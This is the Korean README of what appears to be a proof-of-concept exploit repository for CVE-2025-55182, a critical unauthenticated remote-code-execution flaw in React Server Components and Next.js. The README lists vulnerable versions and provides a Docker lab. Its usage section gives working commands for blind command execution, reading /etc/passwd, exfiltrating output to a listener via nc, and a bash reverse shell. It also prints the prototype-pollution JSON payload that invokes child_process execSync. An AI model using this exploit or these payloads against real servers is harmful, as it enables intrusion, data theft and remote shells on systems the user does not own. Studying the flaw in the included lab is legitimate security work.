
CVE-2025-55182 React2Shell PoC
React Server Components의 치명적인(CVSS 10.0) 인증 없는 원격 코드 실행 취약점인 CVE-2025-55182에 대한 개념 증명(PoC) 익스플로잇입니다.
발견자: Lachlan Davidson - 2025년 11월 29일 Meta/React 팀에 공개됨.
이 취약점은 React Flight 프로토콜의 역직렬화 로직에 존재합니다. 공격자는 HTTP POST를 통해 악성 페이로드를 전송하여 프로토타입 오염(prototype pollution)을 유발하고, 이를 통해 서버에서 임의 코드 실행을 달성할 수 있습니다.
| 패키지 | 취약한 버전 |
|---|
| react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js | 15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6 |
.
├── exploit.py # exploit script
├── docker-compose.yml # Vulnerable test environment
├── vulnerable-app/ # Vulnerable Next.js application
└── README.md
docker compose up -d
이 명령은 http://localhost:3000에서 취약한 Next.js 애플리케이션을 시작합니다.
python3 exploit.py -u http://localhost:3000 --check
이 명령은 다음 지표에 대해 비공격적(non-exploitative) 확인을 수행합니다:
python3 exploit.py -u http://localhost:3000 -c "id"
출력 없이 명령을 실행합니다. 다음으로 확인하세요:
python3 exploit.py -u http://localhost:3000 -c "id" --exfil <IP>:<PORT>
사용자의 IP 주소; 수신 대기할 포트
usage: exploit.py [-h] -u URL [-c COMMAND] [--check] [--exfil HOST:PORT]
[--timeout TIMEOUT] [--no-verify]
options:
-u, --url URL Target URL
-c, --command CMD Command to execute
--check Check if vulnerable (non-exploitative)
--exfil HOST:PORT Exfiltrate output to HOST:PORT
--timeout TIMEOUT Request timeout (default: 10)
--no-verify Disable SSL verification
# Check vulnerability
python3 exploit.py -u http://localhost:3000 --check
# Blind RCE
python3 exploit.py -u http://localhost:3000 -c "touch /tmp/pwned"
# RCE with output
python3 exploit.py -u http://localhost:3000 -c "whoami" --exfil 172.17.0.1:9999
# Read files
python3 exploit.py -u http://localhost:3000 -c "cat /etc/passwd" --exfil 172.17.0.1:9999
# Reverse shell
python3 exploit.py -u http://localhost:3000 -c "bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\": \"$B0\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('id');",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
이 익스플로잇은 실행 중 서버 상태를 손상시켜 인밴드(in-band) 응답을 통한 출력 유출이 불안정합니다. --exfil 플래그는 대역 외(out-of-band) 유출을 사용합니다:
┌──────────┐ 1. Malicious POST ┌──────────┐
│ Attacker │ ──────────────────► │ Server │
└──────────┘ └──────────┘
▲ │
│ 3. Command output │ 2. RCE executes:
│ via nc │ cmd | nc attacker port
│ ▼
└─────────────────────────────────┘
docker compose down
이 도구는 공인된 보안 테스트 및 교육 목적으로만 사용하십시오. 테스트 권한이 있는 시스템에만 사용하십시오.